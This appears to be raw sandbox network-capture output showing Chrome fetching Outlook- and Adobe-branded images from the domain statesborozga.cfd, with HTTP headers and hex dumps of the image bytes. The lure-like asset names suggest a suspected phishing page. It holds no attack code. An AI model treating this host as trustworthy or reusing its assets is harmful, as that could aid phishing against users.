2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:01 UTC	610	OUT	GET /Proten/images/other1.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	660	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: image/png Content-Length: 21882 Connection: close Last-Modified: Sat, 18 Jan 2020 22:01:38 GMT Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YNx7FF963V2M%2BIGk6qIkx4s7kJilav4qNVZmszpyDJZ8%2BfwZVwBT5eTSKbdv8WT2wiwoRyFgTZOCDdO9X6Is3qgAQliNglH56Zp9FApjI6GJFknz2PDmWPrA7fx4zDRlLCXC4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd888ca2353bc-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	709	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 be 00 00 00 bb 08 06 00 00 00 db b9 24 2e 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3a ee 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d Data Ascii: PNGIHDR$. cHRMz&u0`:pQ<sRGBgAMAapHYs:iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 74 69 66 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 74 69 66 66 2f 31 2e 30 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 65 78 69 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 65 78 69 66 2f 31 2e 30 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 32 30 32 30 2d 30 31 2d 31 38 54 32 31 3a 35 39 3a Data Ascii: l.org/dc/elements/1.1/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool> <xmp:CreateDate>2020-01-18T21:59:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 77 68 65 6e 3e 32 30 32 30 2d 30 31 2d 31 38 54 32 31 3a 35 39 3a 35 37 2b 30 35 3a 30 30 3c 2f 73 74 45 76 74 3a 77 68 65 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 2f 3c 2f 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 72 64 66 3a 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 72 64 66 3a Data Ascii: <stEvt:when>2020-01-18T21:59:57+05:00</stEvt:when> <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent> <stEvt:changed>/</stEvt:changed> </rdf:li> </rdf:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:02 UTC	367	OUT	GET /Proten/images/outlook1.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: image/png Content-Length: 771 Connection: close Last-Modified: Sat, 18 Jan 2020 21:38:46 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7VCbMuMiNoTpWPHqCIHTS0S3RYCg2oHtIwZ%2FhMBwu1PNjh0mHunjwL0fZgwxNxvHyYCaOmow%2FQarf9U9RZdGJ3li2P8SzeYCuwFctb60Q6T4U0UC9RWUzlJQe3n8ON0h2y5WKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd889db33672d-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	711	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1a 00 00 00 1a 08 06 00 00 00 a9 4a 4c ce 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 02 b8 49 44 41 54 48 0d b5 94 cb 6b 14 41 10 87 6b 36 bb 62 9e 46 31 82 8f 48 40 b3 d1 98 e8 6a 40 10 61 51 03 82 a2 28 82 82 20 92 9b 20 1e c4 ab f8 00 fd 0b d4 b3 88 20 88 41 f4 10 44 f4 90 15 49 0e e2 e3 e0 03 05 45 09 88 1e 84 98 b8 31 b8 a0 ed 57 93 1e d2 3b 3b b3 59 d7 64 f8 7d 5d d5 55 35 5d d3 9d de 78 22 33 3f c6 98 1a aa da 21 03 1b 41 ed a4 e7 79 fb f1 2b 52 32 5c c5 a2 8b 89 6d 81 4e 58 07 3d 90 86 70 ed 30 b1 8a 95 64 e1 5e aa 33 16 fd da 0e fc f0 a2 84 4a c5 bb 5a d7 58 9a 29 8a 14 d8 f9 84 50 5c ad 86 78 31 0b 33 e9 aa b6 4d e8 30 87 8c b3 f6 6d 10 dd ba da b9 e0 09 8b 1e e4 d8 46 b0 Data Ascii: PNGIHDRJLbKGDIDATHkAk6bF1H@j@aQ( ADIE1W;;Yd}]U5]x"3?!Ay+R2\mNX=p0d^3JZX)P\x13M0mF
2024-04-17 22:28:02 UTC	60	IN	Data Raw: 6e 15 9a eb b1 76 90 77 9b eb 55 6f 20 a6 1a e6 23 b7 aa 53 09 b1 8d a2 5e a6 b9 ee bc 8b 9c ee b6 9e 46 97 f0 2b d2 5f 3f 3f e6 72 e6 c3 d7 a2 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: nvwUo #S^F+_??rIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:02 UTC	364	OUT	GET /Proten/images/adobe.jpg HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	667	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: image/jpeg Content-Length: 30925 Connection: close Last-Modified: Tue, 21 Jan 2020 12:44:54 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FHF%2By4qrx46hz64%2FdU4pNciihhXOs8NVfLmBEh8pyWHLZvDFUXNrBMbPM9EPrP8ellcQ6MXxSDt0e8EQXJaVoqRSOw%2BMja7YUo5wtE4B%2FHKn1fZtDwvFrtRhPS4Z8FZKCPxfVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd889da62677f-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	702	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 01 90 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC"}!1AQa"q2
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: ac 56 27 40 55 8a af 45 06 d1 97 35 f4 b5 8b 14 55 7a 93 cc f6 fd 7f fa d4 14 49 45 14 50 54 65 cb 7d 2f 70 a7 79 be eb f9 ff 00 f5 e9 b4 54 ca 3c d6 d6 d6 2d 54 8f da 7c bd ba df bf 62 cf 9c 3d bf 23 49 55 e8 a9 f6 7e 7f 87 fc 11 7b 4f 2f c7 fe 01 62 8a af 45 1e cf cf f0 ff 00 82 1e d3 cb f1 ff 00 80 58 a2 ab d1 47 b3 f3 fc 3f e0 87 b4 f2 fc 7f e0 16 7c e1 ed f9 1a 83 cd f7 5f cf ff 00 af 4d a2 8f 67 e7 f8 7f c1 1b a9 1f b2 f9 bb f4 b7 e7 e7 f7 05 14 54 7e 67 b7 eb ff 00 d6 ad 05 ed 3c bf 1f f8 04 94 54 7e 67 b7 eb ff 00 d6 a8 e8 33 24 f3 3d bf 5f fe b5 49 55 e8 a0 99 4b 96 da 5e e1 45 15 07 9c 3d bf 23 55 18 f3 5f 5b 58 ce 52 e6 b6 96 b1 3d 57 a2 8a d2 31 e5 be b7 b9 8f b4 f2 fc 7f e0 05 14 51 54 72 ca 5c d6 d2 d6 0a 2a 1f 37 dd 7f 3f fe bd 36 83 39 4b Data Ascii: V'@UE5UzIEPTe}/pyT<-T\|b=#IU~{O/bEXG?\|_MgT~g<T~g3$=_IUK^E=#U_[XR=W1QTr\*7?69K
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: ff 00 d8 0b c3 ff 00 fa 6a d2 2b 7b ce 3e ff 00 90 ac 6b 7f bc 62 7f ec 2b 15 ff 00 a9 15 0f 77 26 ff 00 91 36 53 ff 00 60 18 6f fd 33 02 5f 33 db f5 ff 00 eb 54 95 5b ce 3e ff 00 90 a5 ae 7f 67 e7 f8 7f c1 3d 12 c5 14 54 7e 67 b7 eb ff 00 d6 a9 94 79 6d ad ee 69 ed 3c bf 1f f8 04 94 54 7e 67 b7 eb ff 00 d6 a9 2a 43 da 79 7e 3f f0 02 8a 28 a0 a8 cb 9a fa 5a c3 bc df 75 fc ff 00 fa f4 79 be eb f9 ff 00 f5 e9 b4 50 69 19 72 df 4b dc 77 9b ee bf 9f ff 00 5e 8f 37 dd 7f 3f fe bd 36 8a 0a f6 b3 ef fd 69 fe 5f 8b ee 3b cd f7 5f cf ff 00 af 47 9b ee bf 9f ff 00 5e 9b 45 01 ed 67 df fa d3 fc bf 17 dc 77 9b ee bf 9f ff 00 5e 8f 37 dd 7f 3f fe bd 36 8a 03 da cf bf f5 a7 f9 7e 2f b8 ef 37 dd 7f 3f fe bd 1e 6f ba fe 7f fd 7a 6d 14 18 ca 71 8d ae ed 7d be f5 fe 7f 98 Data Ascii: j+{>kb+w&6S`o3_3T[>g=T~gymi<T~g*Cy~?(ZuyPirKw^7?6i_;_G^Egw^7?6~/7?ozmq}
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: a9 d2 a1 46 13 af 5a 53 9c 79 30 f4 ab 55 4a 5e cd c5 e6 58 58 ea 3a bd fd ae 91 a6 da 5e ea 7a 85 fd c9 b6 d3 34 ed 3a d4 5e df 5d df 8e 4e 9b a5 69 3a 2e 06 b2 00 19 c9 e2 be ba b7 ff 00 82 79 fe dd d7 3a 3c 3a f4 7f b1 df ed 23 36 8f 71 6d f6 9f b5 1f 84 de 28 ff 00 8f 0c 8e 3f b2 4f fc 4f c1 cf a8 04 f7 af ea 2b c2 9e 06 fd 8e ff 00 e0 83 5f b3 57 87 7e 23 7c 4a d0 74 ff 00 8a 7f b5 57 c4 2b 45 d2 ff 00 b5 34 eb 7d 39 fc 7b e3 4f 19 36 9d 19 d6 bc 33 e0 2d 4f 58 46 4f 02 fc 2b f0 c6 63 3e 26 f1 1b 09 1e e5 5d 25 f1 23 f8 8f c5 7e 22 f0 b7 86 a7 f8 16 cb fe 0e 5e fd a0 62 f1 48 bb d4 3f 66 df 82 d3 f8 15 a7 f9 bc 39 a7 f8 9b c7 76 5e 2e 16 2c c0 b4 43 c5 f2 4d 3e 82 75 5c 64 8c f8 59 07 1b 3c a5 1c d7 eb 0f 81 f8 53 87 a9 d0 c3 71 a7 12 e2 70 19 dd 7a Data Ascii: 